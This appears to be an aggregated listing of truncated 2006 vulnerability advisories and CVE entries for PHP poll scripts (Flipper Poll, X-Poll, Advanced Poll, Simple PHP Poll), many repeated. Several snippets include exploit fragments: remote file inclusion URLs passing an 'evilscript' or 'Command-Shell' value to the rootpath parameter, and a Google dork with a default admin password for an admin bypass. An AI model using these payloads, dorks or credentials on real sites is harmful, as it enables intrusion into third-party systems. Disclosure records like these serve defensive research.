CVE-2006-4012: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in circeOS SaveWeb Portal 3.4 allow remote attackers to execute arbitrary PHP code via a URL in the SITEPath parameter to 1 poll/poll.php or 2 poll/viewpolls.php. NOTE: the menudx.php vector is already covered by CVE-2005-2687...

[Full-disclosure] X-Poll SQL Injection Vulnerability

Discovered by Sirdarckcat from elhacker.net X-Poll 1.10 http://members.lycos.co.uk/xscripts03/ ============================================== X-Poll is a simple poll maker for simple PHP web sites. This has a SQL Injection vulnerability. ============================================== PoC:...

CVE-2006-3960

SQL injection vulnerability in top.php in X-Scripts X-Poll, probably 2.30, allows remote attackers to execute arbitrary SQL commands via the poll parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information...

CVE-2006-3960

The CVE-2006-3960 entry concerns a SQL injection in the X-Scripts X-Poll component, specifically in top.php (likely version 2.30). The vulnerability can be triggered via the poll parameter, enabling remote attackers to execute arbitrary SQL commands. Impact is listed as partial confidentiality/in...

CVE-2006-3960

SQL injection vulnerability in top.php in X-Scripts X-Poll, probably 2.30, allows remote attackers to execute arbitrary SQL commands via the poll parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information...

CVE-2006-3960: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in top.php in X-Scripts X-Poll, probably 2.30, allows remote attackers to execute arbitrary SQL commands via the poll parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information...

X-Scripts X-Poll 1.10 - top.php SQL Injection

X-Scripts X-Poll 1.10 - top.php SQL Injection source: https://www.securityfocus.com/bid/19236/info X-Poll is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromis...

SolpotCrew Advisory #2 - Advanced Poll ver 2.02 (base_path) Remote File Inclusion

SolpotCrew Community Advanced Poll ver 2.02 basepath Remote File Inclusion Vendor site : http://www.proxy2.de/scripts.php Bug Found By :Solpot a.k.a k. Hasibuan contact: [email protected] Website : http://www.solpotcrew.org/adv/solpot-adv-02.txt Greetz: choi , cow1seng , Ibnusina ,...

CVE-2006-3683

PHP remote file inclusion vulnerability in poll.php in Flipper Poll 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...

CVE-2006-3764: Undefined Security Weakness

Till Gerken phpPolls 1.0.3 allows remote attackers to create a new poll via a direct request to phpPollAdmin.php3 with the pollaction parameter set to create...

CVE-2006-3764

Till Gerken phpPolls 1.0.3 allows remote attackers to create a new poll via a direct request to phpPollAdmin.php3 with the pollaction parameter set to create...

Advanced Poll 2.0.2 - 'common.inc.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/19105/info Advanced Poll is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input to the application. An attacker may leverage this issue to have an arbitrary remote file containing malicious script code...

CVE-2006-3683

PHP remote file inclusion vulnerability in poll.php in Flipper Poll 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...

CVE-2006-3683

CVE-2006-3683 affects Flipper Poll 1.1 and earlier. A PHP remote file inclusion vulnerability exists in poll.php via the root_path parameter, allowing an attacker to cause arbitrary PHP code execution by supplying a crafted URL. The NVD entry documents a base score of 7.5 (HIGH) with network acce...

CVE-2006-3683: Undefined Security Weakness

PHP remote file inclusion vulnerability in poll.php in Flipper Poll 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...

Flipper Poll <= 1.1.0 Remote File Inclusion Vulnerability

Flipper Poll = 1.1.0 Remote File Inclusion Vulnerability ------------------------------------------ Discoverd By: XORON ------------------------------------------ cont@ct: x0r0nathotmaildotcom ------------------------------------------ Exploit: http://sitename.com/path/poll.php?rootpath=evilscrip...

CVE-2006-3173

Multiple PHP remote file inclusion vulnerabilities in ContentBuilder 0.7.5 allow remote attackers to execute arbitrary PHP code via a URL in the 1 pathcb parameter to a libraries/comment/postComment.php and b modules/poll/poll.php, 2 rel parameter to c modules/archive/overview.inc.php, and the 3...

flipper.txt

Flipper Poll rootpath Remote File Inclusion Credit : SpC-x Mail : [email protected] Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/poll.php?rootpath=Command-Shell poll.PHP : includeonce$rootpath...

Simple PHP Poll Authecnication Admin ByPass

Simple PHP Poll http://www.cgixp.tk/ DESCRIPTION: ============ google dork = "Poewred By: Simple PHP Poll" and "Powered By: Simple PHP Poll" administrator login path /polladmin.php login to default admin pass "administrator" or add to ; ?action=edit&filename=question.txtquestions page...

Flipper Poll (root_path) Remote File Inclusion

Flipper Poll rootpath Remote File Inclusion Credit : SpC-x Mail : [email protected] Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/poll.php?rootpath=Command-Shell poll.PHP : includeonce$rootpath...